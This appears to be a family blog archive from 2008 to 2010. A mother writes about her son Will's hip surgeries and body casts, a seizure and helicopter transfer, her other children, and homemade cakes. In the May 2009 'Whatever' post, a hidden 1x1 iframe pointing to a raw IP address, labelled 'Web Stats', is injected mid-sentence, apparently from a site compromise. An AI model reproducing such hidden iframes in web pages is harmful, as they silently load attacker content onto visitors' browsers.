After six weeks and one day, the cast is off!!! And yes, there was MUCH rejoicing, to say nothing of the bathing and scrubbing. Will sang “I like to move it move it” with me in the doctor’s office just after getting the cast off, which was rather unnerving for him. He can change gears so quickly though, I’m always amazed at how quickly the smile comes out after a round of tears. It’s like the sun shining in the middle of a hurricane. So we are back in action and back to school on Monday. It has been a difficult six weeks for the whole family. We’ve had a lot of illnesses and missed many hours of sleep (not due to the cast but due to the 2 year-old). But after only one trip to the E.R., many doses of antibiotics, and a few visits to the brink of sanity, we have put the month of March behind us and are ready for April. Thanks for your prayers and concern for our family. We have survived!!!
Archive for the ‘Kids’ Category
Cast Off
Friday, April 2nd, 2010Home again, home again…
Sunday, February 21st, 2010We were able to bring Will home from the hospital on Friday afternoon. Praise God!!! I’m just now free to update you though because Levi came down with a stomach bug about 2 hours after we got home. So he has been glued to my side for most of the weekend. Will is doing great though! He is happy and doesn’t seem to mind the giant blue exoskeleton he is sporting. Imagine this, on Tuesday morning, he went through a 5 hour surgery which involved breaking his femur, a bone graph, a plate and pins. Last night he had half of a dose of tylenol with codeine and today he has had one dose of regular tylenol. He’s happily playing the piano as though nothing ever happened!?!? Yeah, I’d still be begging someone to just knock me out, but not Will. He’s the toughest kid I’ve ever met. Thanks for praying and keep us on your list because we still have six weeks of the body cast to endure. Perhaps the honeymoon will end when Grammy goes home, Aaron goes off to school and Will has to stay home all day. And even if HE is ok, please pray for ME!!!
Go big blue!
Tuesday, February 16th, 2010If you know us well, you might quickly pick up on the double entendre. UK beat TN this week, and now Will is sporting the color of pride in his smashing new body cast. His surgery went well this morning and he is sleeping it off right now. So the countdown begins as we pass the next six weeks with Will’s hard shell. We are grateful for the success of the surgery and hopeful that Will will tolerate this body cast as well as he did the last. (Hopefully better since he won’t have to endure a Florida summer in it!) Thanks for your prayers and notes of concern. We appreciate them so very much.
I like to think of it as “our” body-cast.
Wednesday, February 3rd, 2010That’s right, another round of surgery/6 weeks in a body-cast for Will. It’s been almost 2 years since his left hip was “done” and now it’s time to work on the right side. The right side behaved for a while, but we discovered 2 weeks ago that it was completely out of socket, so Will is booked for surgery Feb. 16 at Arnold Palmer Hospital in Orlando. He will be in for about 4 days or so and then in the body-cast for 6 weeks. I don’t suppose I need to dwell on the draw-backs of spending six weeks in a body-cast, so let’s consider the positives. There are a few up-sides to the body-cast. First, you don’t have to take time out of your schedule for bathing. Also, you don’t have to worry about people demanding that you do things for them. It’s like wearing a giant plaster excuse for being lazy! There are LOTS of sympathetic people who dote on cute little boys in body-casts also, so let’s not forget that perk. You get to watch a lot of TV when you are in a body-cast, and best of all, you CAN’T get sent to time-out! So this is my positive spin on body-cast wearing. Please remember Will (and the rest of us) in prayer on 2/16 and the six weeks following. The surgery is long and involved, kind of prophetic to the recovery period.
Delinquency
Monday, October 26th, 2009Abandoned blogs, dusty blinds, ungraded papers, unread books.
So many intentions, so little time.
So many conversations, so little sleep.
Worn out shoes, balding tires, out of sunscreen, children laughing.
Whatever
Tuesday, May 19th, 2009I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information. This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand. That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off. He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture. She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed. \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino. \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard. It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.
Mr. Mischief
Tuesday, December 9th, 2008Yesterday was a normal day, a good day at school, no problems at all, until Will had a seizure about 8:30 last night. We called 9-1-1 and administered his emergency seizure medication. He was taken by ambulance to Lakeland Regional where they stabilized him and then sent him to Arnold Palmer Hospital (a plan previously determined based upon prior situations that were similar.) The trip to APH was particularly special because they did not have any ground transportation available and although we assured them he was able to wait, they sent a helicopter for him! So Will FLEW to Orlando from Lakeland last night. We are settled in the Pediatric ICU (apparently they didn’t have any beds in Special Care so they stepped us up) and Will is awake this morning and asking to go to school. Ha!!! We are still not sure what caused the seizure, but they will run more tests today and hopefully this will not be a long stay. As always we appreciate your prayers. Hopefully Will will not complain when I take him home in the van instead of in first class with a warm towel and slippers for his feet!
Food Names
Wednesday, September 3rd, 2008I’ve been meaning for a while to make a list, for the record, of some of the food nicknames Aaron has given to his friends. It proves that I’m raising him to be just like his mom. These are all names he came up with and initially thought were the actual names of the people:
Grace = Grapes
Donna = Donut
Gretchen = Crunchin’
Joey = Jelly
Brad = Bread
So now you see, the apple doesn’t fall far from the tree
Back of an envelope
Tuesday, July 29th, 2008Today I have been…
referee
food source
playmate
enforcer
teacher
counselor
maid
cook
waitress
secretary
nurse
translator
spiritual advisor
I have embodied…
elation
frustration
confusion
indifference
agitation
amusement
contradiction
self-control
recklessness
resourcefulness
I am…
a basket case
a glutton for punishment
a woman of privilege
a mother
doing it again tomorrow
Cake and Ice Cream
Monday, July 14th, 2008The Lunchroom Bandit reviews a summer time favorite, while I discuss it’s favorite mate.
Ice Cream
Wow! This is my favorite ice-cream store is Baskin Robins! Well first they have a ice-cream that is called America’s Birthday cake. It’s vinila ice-cream blue frasting and sprenkls in it. Next they have a ice-cream that is called tropicol ice. It tasty like tropicol fruit and fruit punch. Last I have another favorite ice-cream store Clumpies Ice-cream Co*. My favorite ice-cream is pop rock. It is blue ice-cream with pop rocks on it. And those are my favorite ice-cream store and ice-cream.
—LRB
*Clumpies is located on Frazier Ave. in Chattanooga, TN. If you go, say “hi” to Anthony.
Cake
Mmmm. I love cake. I love to make cake and I love to eat cake, with ice cream, of course. So here is a pictorial history of some of my most memorable cakes. (well, the ones I’ve captured in digital form, that is.)

First up, the kidney cake of 2006. This was made by our dear friend Mo to celebrate the anniversary of Will’s kidney transplant. (Grandma Kathy was his kidney donor). It says “Yipee! It’s your anniversary. I love you Will” And yes, it is in the shape of a kidney and yes, that’s a red licorice ureter. I haven’t asked Mo if she’s ever done any other organs, or perhaps armadillos???
Next we have the Barbie cake I made for Mo’s birthday a year and a half earlier. She said she’d always wanted one when she was a little girl and I figured, who says you have to be a little girl to get a Barbie cake?!
Here is the birthday cake I made for Will and Aaron this year while we were in Kentucky. I did not have all my cake-makin’ stuff available, but it didn’t matter because it had “Wightming Naqueen” on it, and that was all that was necessary to make my boys happy.
And finally, here is the cake I made (at home with all my cake makin’ stuff) for our friend Stephen’s 7th birthday. He loves gummy worms, so, if you look closely, you can see that they are crawling out the sides of the cake. F.M. admitted later to me that this kind of grossed him out. Ha!!! I was really proud of this cake, I should consult the Lunchroom Bandit for the perfect ice cream to accompany it.
—L.D.


